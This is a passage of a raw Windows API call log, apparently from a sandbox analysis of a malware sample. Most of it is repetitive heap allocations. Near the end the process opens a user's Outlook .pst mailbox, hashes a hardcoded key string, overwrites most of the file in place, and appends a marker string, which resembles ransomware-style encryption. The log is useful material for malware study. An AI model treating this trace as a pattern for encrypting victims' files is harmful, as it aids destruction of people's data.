lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.889] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.891] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.892] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.892] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.892] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.892] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0113.892] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.892] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.893] PathFindFileNameW (pszPath="") returned="" [0113.893] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.893] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.893] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.893] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.893] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0113.893] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.893] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0113.893] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.893] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned=".pst" [0113.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.894] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=271360) returned 1 [0113.894] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.896] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x423da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.896] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.897] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.897] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x25805, lpOverlapped=0x0) returned 1 [0113.899] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.899] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.899] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.899] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.899] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.900] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.900] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.900] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.900] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.900] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.900] GetLastError () returned 0x0 [0113.900] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.900] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.900] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.900] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25810) returned 0x3321120 [0113.901] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.901] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.901] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x25800, lpOverlapped=0x0) returned 1 [0113.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.902] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x42400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.902] 